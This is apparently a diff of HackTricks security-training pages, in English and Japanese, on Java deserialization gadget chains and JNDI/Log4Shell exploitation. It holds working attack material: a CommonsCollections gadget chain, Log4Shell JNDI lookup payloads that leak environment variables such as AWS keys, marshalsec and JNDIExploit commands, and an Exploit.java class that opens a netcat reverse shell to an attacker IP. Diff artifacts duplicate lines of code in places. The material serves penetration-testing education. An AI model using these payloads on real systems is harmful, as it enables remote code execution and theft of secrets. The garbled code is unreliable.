だから、**factory**の中に**`chainedTransformer`**を保存していて、**`transform`**関数の中で**すべてのチェーンされたトランスフォーマーを通過して**、1つずつ実行していることを思い出してください。面白いことに、**各トランスフォーマーは`object`を** **入力**として使用し、**objectは最後に実行されたトランスフォーマーからの出力です**。したがって、**すべての変換は悪意のあるペイロードをチェーン実行しています**。
So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**.
### Summary
At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:
### 概要
最終的に、lazyMapがgetメソッド内でチェーンされたトランスフォーマーを管理する方法のため、以下のコードを実行しているかのようです
```java
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
new Class[]{String.class},
command
).transform(value); //(4)
```
_Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:_
`value`が各変換の入力であり、前の変換の出力であることに注意してください。これにより、ワンライナーの実行が可能になります。
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**.
ここでは、**ComonsCollections1** ペイロードに使用される **gadgets** が説明されました。しかし、**これがどのように実行されるか** は残されています。 [ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) を見ると、このペイロードを実行するために `AnnotationInvocationHandler` オブジェクトを使用しています。なぜなら、**このオブジェクトがデシリアライズされると**、`payload.get()` 関数を **呼び出す** からであり、**ペイロード全体を実行します**。
## Java Thread Sleep
This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**.
このペイロードは、**ウェブが脆弱かどうかを特定するのに便利で、脆弱であればスリープを実行します**。
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -192,41 +171,39 @@ import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
//Execute gadgets
lazyMap.get("anything");
}
}
}
```
## さらなるガジェット
## More Gadgets
You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
ここでさらに多くのガジェットを見つけることができます: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,159 +2,156 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが命名システムを通じてデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサービスプロバイダインターフェースSPIを介してサポートし、リモートJavaオブジェクトを含む異なるシステムからデータを取得できます。一般的なSPIにはCORBA COS、Java RMI Registry、LDAPがあります。
### JNDI Naming Reference
### JNDI命名参照
Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
JavaオブジェクトはJNDI命名参照を使用して保存および取得でき、2つの形式があります
- **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
- **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
- **参照アドレス**オブジェクトの場所を指定します_rmi://server/ref_、指定されたアドレスから直接取得できます。
- **リモートファクトリ**:リモートファクトリクラスを参照します。アクセスされると、クラスはリモートの場所からダウンロードされ、インスタンス化されます。
However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
しかし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
- **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
- **RMI**JDK 7u21以降、デフォルトで`java.rmi.server.useCodeabseOnly = true`が設定され、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーは、読み込むことができるものをさらに制限します。
- **LDAP**JDK 6u141、7u131、8u121以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`が設定され、リモートで読み込まれたJavaオブジェクトの実行がブロックされます。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
- **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
しかし、JNDIリンクを解決する責任を持つ**ネーミングマネージャー**には、組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、悪意のあるコードを実行するために既存のアプリケーションコンポーネントガジェットを悪用するリスクが生じます。
Examples of exploitable URLs include:
悪用可能なURLの例
- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_
Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
保護があっても、JNDIを信頼できないソースから読み込むことに対する保護が欠如しているため、脆弱性が残ります。
### JNDI Example
### JNDIの例
![](<../../images/image (1022).png>)
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
**`PROVIDER_URL`**を設定していても、ルックアップで異なるものを指定でき、アクセスされます:`ctx.lookup("<attacker-controlled-url>")`、これが攻撃者が彼の制御下にあるシステムから任意のオブジェクトを読み込むために悪用するものです。
### CORBA Overview
### CORBAの概要
CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
CORBACommon Object Request Broker Architectureは、リモートオブジェクトを一意に識別するために**相互運用可能なオブジェクト参照IOR**を使用します。この参照には、次のような重要な情報が含まれます:
- **Type ID**: Unique identifier for an interface.
- **Codebase**: URL for obtaining the stub class.
- **タイプID**:インターフェースの一意の識別子。
- **コードベース**スタブクラスを取得するためのURL。
Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
特に、CORBAは本質的に脆弱ではありません。セキュリティを確保するためには通常、次のことが必要です
- Installation of a **Security Manager**.
- Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
- Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
- **セキュリティマネージャー**のインストール。
- セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは次のように実現できます:
- ソケットの権限、例:`permissions java.net.SocketPermission "*:1098-1099", "connect";`
- ファイル読み取り権限、普遍的に(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
However, some vendor policies might be lenient and allow these connections by default.
ただし、一部のベンダーポリシーは緩やかで、デフォルトでこれらの接続を許可する場合があります。
### RMI Context
### RMIコンテキスト
For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.
RMIRemote Method Invocationについては、状況がやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
### LDAP
First of all, wee need to distinguish between a Search and a Lookup.\
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
まず、検索とルックアップを区別する必要があります。\
**検索**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を**取得します**。\
**ルックアップ**は、**名前サービス**のためのもので、**名前にバインドされているものを取得する**ことを目的としています。
If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
LDAP検索が**SearchControls.setReturningObjFlag()を`true`で呼び出された場合、返されたオブジェクトは再構築されます**。
Therefore, there are several ways to attack these options.\
An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
したがって、これらのオプションを攻撃する方法はいくつかあります。\
**攻撃者はLDAPレコードを汚染し、ペイロードを導入することができます**。これにより、それらを収集するシステムで実行されますLDAPサーバーにアクセスできる場合、**数十台のマシンを侵害するのに非常に便利です**。この悪用の別の方法は、LDAP検索で**MitM攻撃を実行することです**。
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
アプリがJNDI LDAP URLを解決できる場合、検索されるLDAPを制御でき、エクスプロイトlog4shellを返すことができます。
#### Deserialization exploit
#### デシリアライズエクスプロイト
![](<../../images/image (275).png>)
The **exploit is serialized** and will be deserialized.\
In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
**エクスプロイトはシリアライズされており、デシリアライズされます**。\
`trustURLCodebase``true`の場合、攻撃者はコードベースに自分のクラスを提供できますが、そうでない場合はクラスパス内のガジェットを悪用する必要があります。
#### JNDI Reference exploit
#### JNDI参照エクスプロイト
It's easier to attack this LDAP using **JavaFactory references**:
**JavaFactory参照**を使用してこのLDAPを攻撃する方が簡単です
![](<../../images/image (1059).png>)
## Log4Shell Vulnerability
## Log4Shell脆弱性
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
この脆弱性はLog4jに導入されており、[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしています。この構文は`${prefix:name}`の形式で、`prefix`はさまざまな[**ルックアップ**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきものです。例えば、`${java:version}`は現在実行中のJavaのバージョンです。
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)`jndi`ルックアップ機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的に`java:comp/env/`でプレフィックスが付けられます。ただし、キー自体に**":"**が含まれている場合、このデフォルトのプレフィックスは適用されません。
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` theres **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
キーに**:が存在する**場合、例えば`${jndi:ldap://example.com/a}`では**プレフィックスがなく**、**LDAPサーバーがオブジェクトをクエリします**。これらのルックアップは、Log4jの設定やログが記録される際に使用できます。
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
したがって、RCEを取得するために必要な唯一のことは、**ユーザーによって制御される情報を処理する脆弱なバージョンのLog4j**です。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるためインターネットに接続されたアプリケーションを含む、HTTPヘッダーのような情報をログに記録するためにlog4jが非常に一般的でした。しかし、log4jは**HTTP情報だけでなく、開発者が示した任意の入力やデータをログに記録するために使用されます**。
## Overview of Log4Shell-Related CVEs
## Log4Shell関連のCVEの概要
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
この脆弱性は、`log4j-core`コンポーネントにおける重大な**信頼できないデシリアライズの欠陥**であり、バージョン2.0-beta9から2.14.1に影響を与えます。これは**リモートコード実行RCE**を可能にし、攻撃者がシステムを乗っ取ることを可能にします。この問題はAlibaba Cloud Security TeamのChen Zhaojunによって報告され、さまざまなApacheフレームワークに影響を与えます。バージョン2.15.0での最初の修正は不完全でした。防御のためのSigmaルールが利用可能です[ルール1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)、[ルール2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
最初は低評価でしたが、後に重大なものに引き上げられたこのCVEは、CVE-2021-44228の2.15.0での不完全な修正に起因する**サービス拒否DoS**の欠陥です。デフォルト以外の構成に影響を与え、攻撃者が巧妙に作成したペイロードを通じてDoS攻撃を引き起こすことを可能にします。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995)ではバイパス方法が紹介されています。この問題は、メッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで、バージョン2.16.0および2.12.2で解決されました。
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
**Log4j 1.xバージョン**に影響を与え、デフォルト以外の構成で`JMSAppender`を使用しているこのCVEは、信頼できないデシリアライズの欠陥です。1.xブランチには修正がなく、サポートが終了しているため、`log4j-core 2.17.0`へのアップグレードが推奨されます。
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
この脆弱性は、Log4j 1.xの後継である**Logbackロギングフレームワーク**に影響を与えます。以前は安全だと考えられていましたが、このフレームワークは脆弱であることが判明し、問題を解決するために新しいバージョン1.3.0-alpha11および1.2.9)がリリースされました。
### **CVE-2021-45105** **\[High]**
Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Log4j 2.16.0にはDoSの欠陥が含まれており、CVEを修正するために`log4j 2.17.0`がリリースされました。詳細はBleepingComputerの[レポート](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)にあります。
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの構成ファイルを制御する必要があります。これは、構成されたJDBCAppenderを介して任意のコード実行の可能性を含みます。詳細は[Checkmarxのブログ投稿](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)にあります。
## Log4Shell Exploitation
## Log4Shellの悪用
### Discovery
### 発見
This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
この脆弱性は、保護されていない場合、非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくとも**DNSリクエスト**を送信するからです。したがって、次のようなペイロードが考えられます:
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`[canarytokens.com](https://canarytokens.org/generate)を使用)
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`[interactsh](https://github.com/projectdiscovery/interactsh)を使用)
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}`Burp Suiteを使用
- `${jndi:ldap://2j4ayo.dnslog.cn}`[dnslog](http://dnslog.cn)を使用)
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`[huntress](https://log4shell.huntress.com)を使用)
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
**DNSリクエストが受信されたからといって、アプリケーションが悪用可能であるとは限らない**(または脆弱であるとは限らない)ことに注意してください。悪用を試みる必要があります。
> [!NOTE]
> Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
> **バージョン2.15を悪用するには、localhostチェックのバイパスを追加する必要があります**${jndi:ldap://**127.0.0.1#**...}
#### **Local Discovery**
Search for **local vulnerable versions** of the library with:
#### **ローカル発見**
次のコマンドで**ローカルの脆弱なバージョン**のライブラリを検索します:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
### **検証**
### **Verification**
前述のプラットフォームのいくつかは、リクエスト時にログに記録される変数データを挿入することを許可します。\
これは2つの目的に非常に役立ちます
Some of the platforms listed before will allow you to insert some variable data that will be logged when its requested.\
This can be very useful for 2 things:
- 脆弱性を**検証**するため
- 脆弱性を悪用して**情報を抽出**するため
- To **verify** the vulnerability
- To **exfiltrate information** abusing the vulnerability
For example you could request something like:\
or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
Other information you could try to **leak**:
例えば、次のようなリクエストを行うことができます:\
または`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**のように、もし**環境変数の値を持つDNSリクエストが受信されれば**、アプリケーションが脆弱であることがわかります。
他に**漏洩**を試みることができる情報:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
@ -205,81 +202,69 @@ ${sys:user.name}
Any other env variable name that could store sensitive information
```
### RCE Information
### RCE情報
> [!NOTE]
> Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
> JDKバージョン6u141、7u131、または8u121以上で動作しているホストは、LDAPクラスローディング攻撃ベクターから保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで無効化されているためで、これによりJNDIがLDAPを介してリモートコードベースをロードすることを防ぎます。ただし、これらのバージョンは**デシリアライズ攻撃ベクターに対して保護されていない**ことに注意することが重要です。
>
> For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
> これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内で**信頼されたガジェット**を利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
>
> For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
> **詳細情報**_RMIおよびCORBAベクターの制限など_については、**前のJNDI命名リファレンスセクションを確認してください**または[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
### RCE - Marshalsec with custom payload
### RCE - Marshalsecとカスタムペイロード
You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
この内容は**THMボックス**でテストできます: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
ツール[**marshalsec**](https://github.com/mbechler/marshalsec)を使用しますjarバージョンは[**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar)で入手可能。このアプローチは、接続を二次HTTPサーバーにリダイレクトするLDAPリファラルサーバーを確立します。
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
ターゲットにリバースシェルコードをロードさせるために、以下の内容で `Exploit.java` という名前のJavaファイルを作成します:
```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
Javaファイルをクラスファイルにコンパイルするには、次のコマンドを使用します: `javac Exploit.java -source 8 -target 8`。次に、クラスファイルを含むディレクトリで**HTTPサーバー**を起動します: `python3 -m http.server`。**marshalsec LDAPサーバー**がこのHTTPサーバーを参照していることを確認してください。
Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
脆弱なウェブサーバーでエクスプロイトクラスの実行をトリガーするには、次のようなペイロードを送信します:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
**注意:** このエクスプロイトは、Javaの設定がLDAPを介してリモートコードベースの読み込みを許可することに依存しています。これが許可されていない場合は、任意のコード実行のために信頼されたクラスを利用することを検討してください。
### RCE - **JNDIExploit**
> [!NOTE]
> Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
> 何らかの理由で、著者はlog4shellの発見後にこのプロジェクトをgithubから削除しました。キャッシュされたバージョンは[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)で見つけることができますが、著者の決定を尊重したい場合は、この脆弱性を利用するために別の方法を使用してください。
>
> Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
> さらに、ウェイバックマシンではソースコードを見つけることができないため、ソースコードを分析するか、実行している内容がわからない状態でjarを実行してください。
For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
Then, you can download the **JNDIExploit** jar file and execute it with:
この例では、ポート8080で**log4shellに脆弱なウェブサーバー**を実行するだけです: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEには実行方法が記載されています_)。この脆弱なアプリは、HTTPリクエストヘッダー_X-Api-Version_の内容を脆弱なバージョンのlog4shellでログに記録しています。
次に、**JNDIExploit**のjarファイルをダウンロードし、次のコマンドで実行できます:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
コードを数分間読んだ後、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_**LDAP と HTTP サーバーがどのように作成されるか** がわかります。LDAP サーバーは、どのペイロードを提供する必要があるかを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。\
_com.feihong.ldap.gadgets_ では、目的のアクションを実行するために使用できる **特定のガジェット** を見つけることができます潜在的に任意のコードを実行する。_com.feihong.ldap.template_ では、**エクスプロイトを生成する** 異なるテンプレートクラスを見ることができます。
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
